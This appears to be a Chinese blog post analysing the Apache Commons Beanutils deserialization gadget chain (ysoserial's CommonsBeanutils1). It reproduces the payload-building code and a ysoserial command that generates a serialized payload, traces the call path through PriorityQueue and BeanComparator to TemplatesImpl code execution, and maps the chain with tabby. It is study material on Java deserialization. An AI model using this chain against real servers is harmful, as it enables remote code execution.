Java Commons Beanutils 调用链
前言:想去看相关漏洞利用的时候,用到的利用链大部分都有用到这条利用链,自己得去学习,要不然不好看懂文章
关于Commons Beanutils PropertyUtils getProperty的特性(2021.7.28补)
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
Commons Beanutils项目中提供了一个静态方法PropertyUtils#getProperty,让使用者可以直接调用任意JavaBean的getter方法
Person类定义如下,它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头
public class Person{
private String name = "chiling";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
这里则是通过Commons Beanutils的getProperty方法来进行获取对应的JavaBean的属性
public class GetterStudy {
public static void main(String[] args) throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Object name = PropertyUtils.getProperty(new Person(), "name");
System.out.println(name);
}
}

结果如下,可以发现通过Commons Beanutils能够更加方便对JavaBean的属性操作

Commons Beanutils在反序列化中getProperty利用
通过上面Commons Beanutils自带的getProperty方法的特性,那么我们可以看下这个方法都是在哪里进行调用的,调用这个getProperty方法的方法的参数又是否可控?

可以注意到BeanComparator这个类有进行调用getProperty,调用这个方法的是compare方法

到这里可能就会想到通过PriorityQueue作为反序列化的入口点
如果想要利用的话,那么o1的property这个属性我们需要动手脚才可以,这里给出的利用就是通过TemplatesImpl的outputProperties对应的getter方法getOutputProperties,这里不细讲了,可以看下面的分析
调用链分析
yso构造的利用代码如下:
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
老样子,sink点用的还是TemplatesImpl这个对象

新知识点:BeanComparator
这个类之前分析cc1-4的时候没有见过,我重新看了下cc2的PriorityQueue触发链,当时用的是TransformingComparator来进行包装的InvokerTransformer,而cc4用的的TransformingComparator包装的InstantiateTransformer和ChainedTransformer
所以这里BeanComparator这个对象是第一次见!
final BeanComparator comparator = new BeanComparator("lowestSetBit");
后面的操作就是跟平常一样,进行了封装,那么这里唯一没有见过的就是new BeanComparator("lowestSetBit");
接着来看下BeanComparator的构造函数,如下,其实看到,BeanComparator对象最终生成的comparator为ComparableComparator这个对象
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
public BeanComparator(String property, Comparator<?> comparator) {
this.setProperty(property);
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
大家都知道 PriorityQueue中最终的触发来自comparator.compare,所以我这里把BeanComparator的compare方法放到下面
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
直接来跟踪代码查看,看看怎么走的
环境:jdk8u181 commons-beanutils:1.9.2 commons-collections:3.1 commons-logging:1.2
生成下payload:java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "calc" > cb.txt
public class Test {
public static void main(String[] args) {
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("cb.txt"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("cb.txt"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行结果:

调试过程
打断点,调试来到PriorityQueue的readOjbect的地方

继续走,heapify方法

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
siftDown

siftDownUsingComparator

F7跟进,到这里就需要看它是如何运行的了,跟前面讲的一样,会来到BeanComparator的compare方法中

我们没有看到它的构造函数是怎么走的,因为这里是反序列化,所以我这里就直接看此时的this的属性中包含的属性了,可以看到comparator是一个ComparableComparator的对象,那么跟上面说的一样

F7慢慢走,调用了PropertyUtils.getProperty,首先来到的ProperUtil类的getProperty方法

接着实例化了PropertyUtilsBean调用getProperty

该PropertyUtilsBean对象的getProperty方法中又会继续调用getNestedProperty,最终会调用其中的getSimpleProperty方法

最后来到了PropertyUtil类的invokeMethod方法,这个方法看起来会调用方法

来看看这个invokeMethod,再进入这个方法前,它做了如下的事情,它会获取bean对应的name方法,这个的bean为TemplateImpl的对象,name为outputProperties,通过下面getPropertyDescriptor方法

getPropertyDescriptor的方法中,获得了对应outputProperties对象的readMethod,也就是getOutputProperties方法名

接着就是通过反射获取名字getOutputProperties的方法对象Method

接着就是调用这个方法getOutputProperties

反射调用getOutputProperties

又来到了如下的地方,最终进行实例化_bytecode触发命令执行

tabby反序列化链挖掘(2022.8.30补)
sink:PropertyUtils.getProperty(因为这个方法满足执行Runtime类的条件,所以就相当于sink,它能够任意调用getter方法,通过该getter去调用TemplatesImpl的getOutputProperties方法实例化我们注入的class类最终造成命令执行)
到这里的话我们就已经确定了sink点,也就是该PropertyUtils.getProperty方法
作为序列化链挖掘的话 一共三个点,分别为 source-chains-sink ,那么还差source-chains
那这里肯定还有疑问,我为什么不能将PropertyUtils.getProperty作为chains和sink,其实也可以,那么这里的话就需要满足source在反序列化的时候直接能调用PropertyUtils.getProperty方法,并且PropertyUtils.getProperty的两个参数能直接控制
所以就继续找哪里会调用PropertyUtils.getProperty,这里找的就是org.apache.commons.beanutils.BeanComparator#compare
org.apache.commons.beanutils.BeanComparator#compare
java.util.PriorityQueue#siftDownUsingComparator
java.util.PriorityQueue#siftDown
java.util.PriorityQueue#heapify
java.util.PriorityQueue#readObject
且comparator属性没静态和瞬时,那么我们是可以控制的,并且存在readobject那么满足source的点
那么上面的五条调用函数则是chains,此时则是完整的一个反序列化调用链

浙公网安备 33010602011771号